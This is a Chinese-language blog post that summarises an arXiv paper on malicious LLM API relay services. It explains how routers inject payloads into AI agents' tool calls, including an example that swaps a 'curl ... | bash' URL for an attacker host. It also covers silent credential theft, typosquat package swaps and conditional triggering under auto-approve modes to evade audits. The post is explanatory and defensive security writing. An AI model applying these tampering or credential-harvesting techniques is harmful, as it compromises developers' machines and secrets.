夜雨聆风中转站投毒分析：你的AI助手正在被谁悄悄接管？
昨天看到一篇刚上 arXiv 的论文，标题就够吓人："你的助手是我的"——LLM供应链上的恶意中转站攻击测量。
作者团队来自加州大学圣芭芭拉分校、UCSD 和 Fuzzland。他们干了件我一直想干但没干成的事：系统性地研究 AI API 中转站到底能对你的数据做什么。
结论是：能做的比你想象的多得多。
1. 一个被忽视的信任边界
先说清楚什么事。
当你用 Claude Code 或者 GitHub Copilot 的 Agent 模式时，你的请求不是直接发给 OpenAI 或 Anthropic 的。在很多部署场景里，它会先经过一层"API 路由器"——一个中间人服务，负责把请求转发给上游模型。
这类路由器在生产环境里非常普遍。LiteLLM 这个开源路由器在 GitHub 上有 4 万星，Docker Hub 下载超过 2.4 亿次。OpenRouter 接入超过 300 个模型，服务数百万开发者。
问题来了：这些路由器终止了客户端的 TLS 连接，然后再重新建立连接到上游。 这意味着它们以明文形式接触每一个请求和响应。
没有任何端到端完整性机制，把模型输出的工具调用绑定到客户端最终看到的内容。
这就造成了一个非常危险的信任边界——路由器可以读取、修改、或者伪造任何工具调用参数，而不被检测到。
2. 研究者发现了什么
团队从三个渠道收集了路由器样本：
测试结果令人不安：
恶意注入： 1 个付费路由器 + 8 个免费路由器（共 9 个）在返回的工具调用里注入了恶意代码。
自适应规避： 其中 2 个路由器部署了更高级的规避策略——它们不会每次都注入，而是根据特定条件触发，比如只针对 Rust 或 Go 项目，或者只在 YOLO 模式（自动驾驶模式）下激活。
凭证窃取： 17 个路由器访问了研究者部署的 AWS 蜜罐凭证。1 个路由器直接从研究者的以太坊私钥地址转走了 ETH。
3. 更可怕的是"投毒"实验
这只是被动发现。但研究者还做了主动投毒实验——看看看起来良性的路由器能不能被拉进同样的攻击面。
实验一：泄露一个 OpenAI API Key
研究者在中文论坛和微信群里故意放出一个研究用的 API Key。
结果：这一个 Key 生成了 1 亿个 GPT-5.4 Token，触发了超过 7 个 Codex 会话。
实验二：部署弱配置的中转服务
研究者部署了 20 个看起来配置不安全的 Sub2API、claude-relay-service 和 CLIProxyAPI 作为蜜罐。
结果更糟：
关键细节：每个会话都可以注入 payload，其中 401 个已经在 YOLO 模式下运行——工具执行是自动批准的，根本不需要复杂的触发器。
4. 四种攻击类型
论文把路由器恶意行为分为两类基础攻击 + 两个自适应变体：
AC-1：响应侧 Payload 注入
路由器在模型响应到达客户端之前，修改工具调用参数。
比如，模型生成了一个调用 curl https://get.example.com/cli.sh | bash 的命令，路由器把它改成 curl https://attacker***.sh | bash。这个修改在 JSON 层面完全合法，客户端不会发现异常。
后果： 单次修改就能实现任意代码执行。
AC-2：被动凭证泄露
路由器不修改任何内容，只是静默扫描流量中的凭证——API Key、AWS 密钥、GitHub Token、以太坊私钥。
后果： 零修改，零可见性，但凭证已经泄露。
AC-1.a：依赖目标注入（规避变体）
不是替换 URL，而是替换包名。比如 requests 变成 reqeusts（预注册的 typosquat 包）。这样可以绕过基于域名的策略检查，因为命令行的其余部分完全正常。
AC-1.b：条件投递（规避变体）
路由器只在特定条件下激活 payload 修改：
这样有限的黑盒审计根本检测不到。
5. 这件事和普通用户有什么关系
你可能不用 Claude Code，不跑 Agent 模式，觉得这事和你无关。
但我真正担心的是两件事：
第一，API 中转站在中国开发者社区太普遍了。 淘宝上有很多商家转售 LLM API 访问，有商家记录显示超过 3 万次复购。这些转售链条里的每一环，都是潜在的信任边界漏洞。
第二，攻击发生在模型推理循环之外。 传统 prompt injection 需要模型"听话"执行恶意指令；路由器攻击发生在模型输出之后，客户端执行之前。模型侧的任何安全护栏对它完全无效。
6. 怎么保护自己
论文提出了一些客户端侧的防御思路：
fail-closed 策略门： 在执行高风险工具（如 Bash、pip install）前，要求明确的用户确认。
响应侧异常筛查： 检测返回的工具调用是否偏离预期模式。
追加式透明日志： 记录所有流经路由器的请求/响应，供事后审计。
但根本解法是：在提供商侧实现响应完整性，让工具调用能加密绑定到上游模型的原始输出。
7. 我的判断
这篇论文让我最不安的不是某个具体的攻击手法，而是一个架构性的现实：
我们在构建一个越来越依赖第三方中间人的 AI 基础设施，但这些中间人的安全状况几乎没人审计。
LiteLLM 在 2026 年 3 月被通过依赖混淆攻击攻破，就是一个活生生的例子。
对于普通开发者，我的建议是：
AI 的工具化正在加速，供应链安全的短板才刚刚开始暴露。
论文来源：
Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain
作者：Hanzhi Liu, Chaofan Shou, Hongbo Wen, Yanju Chen, Ryan Jingyang Fang, Yu Feng
机构：UC Santa Barbara, Fuzzland, UC San Diego, World Liberty Financial
发表于：arXiv:2604.08407 (cs.CR)
链接：https://arxiv.org/abs/2604.08407
本文为论文解读，不等同于原论文全文翻译。
